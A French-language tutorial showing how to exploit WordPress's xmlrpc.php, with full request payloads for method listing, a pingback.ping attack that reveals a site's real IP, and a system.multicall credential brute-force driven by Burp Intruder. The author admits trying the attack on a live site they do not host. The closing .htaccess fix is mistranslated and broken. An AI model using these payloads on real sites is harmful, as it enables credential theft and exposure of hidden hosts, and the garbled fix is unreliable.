Articles

Exploitation du xmlrpc.php

X

Privacy & Cookies

Ce site utilise des cookies. En continuant, vous acceptez leur utilisation. Apprenez-en plus, notamment comment contrôler les cookies.

Got It!

Publicités

Qu’est-ce que XML-RPC?

XML-RPC est une API qui déforme les informations ou les données en fichier XML et les envoie à l’application mobile ou au logiciel distant. Cela a été introduit comme dans les jours anciens, la vitesse d’Internet n’est pas rapide, au lieu de l’écrire en ligne. Les utilisateurs écrivent leur contenu hors ligne et le publient en utilisant l’API. Comme les services internet se sont améliorés, la plupart d’entre nous n’utilise plus cette fonctionnalité, souvent elle a été oubliée par nous.

xml_for

Quelles sont les vulnérabilités ?

  1. L’attaque par force brute. Les principales raisons pour effectuer l’attaque, est que cette API n’a pas de tentatives de connexion plafond sur le site. Ils peuvent ne pas obtenir les bonnes informations d’identification, mais quand même causer des problèmes comme la surcharge du site. La disponibilité du site est affectée.
  2. Interception/vol des informations de connexion. Absence de système d’authentification. Chaque fois, l’utilisateur essaie d’accéder au site web, les informations de connexion sont envoyées dans le formulaire XML. Si la connexion est interceptée/ MITM, les données XML claires sont exposées.
  3. XMLRPC pingback.ping. L’attaquant peut utiliser cette méthode pour récupérer l’adresse publique réelle du site WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Avant de commencer à vous montrer les étapes détaillées de la réalisation des attaques suivantes. Toute action illégale que vous avez effectuée est de votre propre chef. Je ne suis pas responsable de vos actions. Veuillez configurer votre propre environnement pour le faire ou demander la permission avant de le faire.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Ataque XMLRPC utilisant Burpsuite

Vérifiez d’abord si XMLRPC.php est accessible sur le site cible. Dans ce cas, j’ai configuré un site WordPress de démonstration pour réaliser l’attaque.

checking

« Le serveur XML-RPC accepte uniquement les demandes POST. »

En utilisant la méthode GET pour récupérer le fichier, normalement nous obtiendrons ce résultat.

Puis, nous ferons une méthode POST pour récupérer toutes les méthodes utilisables dans le serveur XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Le serveur vous répondra avec une liste de méthodes utilisables. Dans ce cas, nous sommes particulièrement intéressés par la méthode pingback.ping. Une chose à noter, toutes ces données entrantes et sortantes utilisent le format XML comme expliqué ci-dessus. Donc, assurez-vous que le format des données est correct.

Pour effectuer l’attaque, nous devons d’abord préparer ces 2 choses

  1. Un webhook valide.site URL ou toute autre alternative que vous préférez comme beeceptor et postbin
  2. Une URL valide d’un article WordPress ciblé.

<?xml version= »1.0″ encoding= »UTF-8″?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Voici un autre exemple de cette attaque réalisée sur ce site WordPress. OUI ! Celui que vous êtes en train de regarder en ce moment. Par curiosité, je veux essayer d’attaquer le vrai site au lieu de celui que j’ai hébergé.

own

Comme vous pouvez le voir, cette attaque est infructueuse et aucun résultat ne sera affiché dans le postbin. Il semble qu’ils aient fait quelques précautions et une prévention du site WordPress en ligne. Cette méthode est utile pour un site auto configuré et n’a pas désactivé xmlrpc.php

Si vous ne souhaitez pas utiliser POSTBIN, ouvrir NC et mettre sur le mode d’écoute fonctionne aussi bien ! 👍👍

ncnc2

Ataque par force brute en utilisant XMLRPC.php

Comme mentionné ci-dessus, il n’y a pas de limite de nombre d’essais. Obtenir une combinaison réussie de nom d’utilisateur et de mot de passe est juste une question de temps. Et aussi, il n’y a pas de mécanisme comme le verrouillage du compte, après un certain nombre d’essais.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Pour montrer la différence entre une connexion réussie et non réussie, voici un exemple.

brute

Et bien sûr, vous devriez utiliser Intruder pour effectuer ce genre d’attaques par force brute.

Premièrement, vérifiez la cible de l’attaque, dans mon cas, je vais utiliser l’adresse IP de mon site.

target

nous devons régler les positions de la charge utile et choisir ‘Bombe à fragmentation’ dans la liste des types d’attaque. Bonne ressource pour se renseigner sur les positions et les types d’attaque

postion

Ici, nous devons définir 2 positions de charge utile, ‘nom d’utilisateur’ et mot de passe. Ensuite, nous devons définir la liste de mots. Voici la documentation des types de charges utiles

usernamepassword

Cliquez sur ‘Start attack’ quand vous êtes prêt

success

Comme nous pouvons l’observer, une des requêtes a une longueur différente. Et lorsque nous vérifions les données brutes sous l’onglet réponse, nous montrent que cet ensemble de combinaison a réussi à se connecter.

Prévention

  1. Installer le plugin pour les paresseux
  2. Désactiver xmlrpc.php en utilisant .htaccess

# Refuser à quiconque l’accès au fichier
<Fichiers xmlrpc.php>
order deny,allow
deny from all
</Files>

.